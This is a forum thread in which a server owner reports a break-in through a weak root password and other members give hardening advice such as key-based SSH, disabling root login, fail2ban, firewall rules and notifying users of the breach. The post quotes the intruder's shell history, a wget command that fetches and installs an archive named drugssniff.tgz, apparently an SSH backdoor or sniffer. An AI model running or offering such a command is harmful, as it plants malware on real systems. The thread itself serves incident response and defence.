unauthorized access to the server!
Today when I logged on my server
I noticed that there is no log of IP Everything is cleared :( The only thing remaining is bash_history Code:
wget [ADDRESS]/drugssniff.tgz ; tar xzvf drugssniff.tgz ; rm -rf drugssniff.tgz ; cd sshdi ; nano setup |
That's not good. Looks like someone got in and downloaded software to your system. Odd that they didn't clear bash history. I'm no expert on security, but it looks like deleting the files in '/var/tmp. ' would be a good idea, as would changing passwords and overall locking down the system. It would be great to find how he or she got in. Do you have any weak passwords on your system?
|
I installed the system again
changed the ssh port and put a new pass I had a weak password :( It's so stupid of me :/ how to install denyhosts? |
I recommend using public key authentication. I don't leave anything important accessible to standard passwords. It's just too risky (although a complex password should work good enough, I suppose..).
|
Quote:
1. How did you conclude the attacker got in through a weak password? 2. What kind of server was it? |
I recently installed the server and I had a working pass such as 12345
I needed to change the pass after finishing configuring, but unfortunately i didnt :/ It was a small web and ftp server with my users information, i just hope that someone who has done this, these data do not mean anything. |
If you mean your root password was "1234", if you didn't already know, it is PARAMOUNT to disable root login in sshd_config..
Root is the ONE username that the attacker knows is a constant. disabling root login via ssh, means that the attacker has to brute force the username, as well as the password. Using a username that isn't easily detected from the content served by the server is also a good idea. ie: Hosting a personal blog called "[nicknames] blog" would be a good starting point for the username to start an brute force attack. |
tnx for your help
I'm not a linux expert, but I'm learning along the way, from my mistakes unfortunately. If you have any idea how to prevent something like this to happen again accept all the ideas |
A couple more ideas.
fail2ban - will monitor login attempts, and ban an IP after $x attempts If you have a static IP on all the internet connections you connect to the server from, consider a firewall rule to only open ssh to those IP's Another option is to create a VPN between the server, and client/s, So ssh can be set to only listen on, and also firewalled open to the VPN ip address. |
Code:
Oct 25 00:59:50 server1 sshd[1965]: Failed password for root from 201.236.221.254 port 50499 ssh2 Here's part of the logs in fail2ban |
Quote:
What's probably not a good assumption is assuming the attack you detected was the first attack. You could easily of been compromised before and not detected it. If you're detective measures were as good as your preventative, that's a likely scenario. ;) I don't know what kind of user data was on that box, but again, it might not be a good idea to assume or hope an attacker wouldn't have use for it. If you're in the U.S. there are some data breach notification laws that might apply to you that require you to notify users if it's reasonable to believe their personally identifiable information has been compromised. Even if you aren't legally required (I don't know I'm not a lawyer), it's certainly still a good idea to notify your users of the compromise. I'd also make sure your users know to change their passwords. |
Quote:
There have been quite a few threads in this forum regarding hardening of your server that you should review. If I may ask, what services are you planning to make available as you should focus your efforts on these. Also, if you are considering using any form of host based intrusion detection, the best time to install this is right after you perform a clean installation and have taken care of securing SSH. |
Quote:
Obviously, the weak password wasn't a good thing, but you should definitely prohibit any ssh root login (in sshd_config) and log in as an ordinary user and use su or sudo to do stuff that is only allowed to root. Ideally, you'd limit ssh to listed hosts, if feasible (also, sshd_config). There is more on ssh and the various measures that can be taken here, but that should be ok in the very short term. Note that in the 500 worst passwords, out of the top 6 worst passwords of all time, four are simple numeric sequences like yours. And, in the 20 most common passwords, the top two are 123456 and 12345. With more access, I'd come round there and slap you around the head with a wet fish (purely as an act of generosity, of course), but if you imagine that you have been slapped round the head with a wet fish, that might work (PS: that was an attempt at humour, but I really wanted to grab your attention to the fact that these were not only weak passwords, but very weak passwords. When you think that all of the bad guys want to get access to the root account in order to something evil, then you can see how a weak root password is asking for trouble...and trouble is what you got. Sorry to have gone on about it, but I'd hate to think that you've just gone for a slightly-less-weak password. Then, the wet fish would truly be called for.) There is a lot of activity from 201.236.221.254, including an attempt to log in as 'Oracle'. Given that the previous attacker created an 'Oracle' account with root privs, this could be the previous attacker trying to get back in. There are also some attempts from 80.194.233.205; ensure that both of these get correctly treated (unless 80.194.233.205 was you forgetting your new password, of course). |
All times are GMT -5. The time now is 06:36 PM. |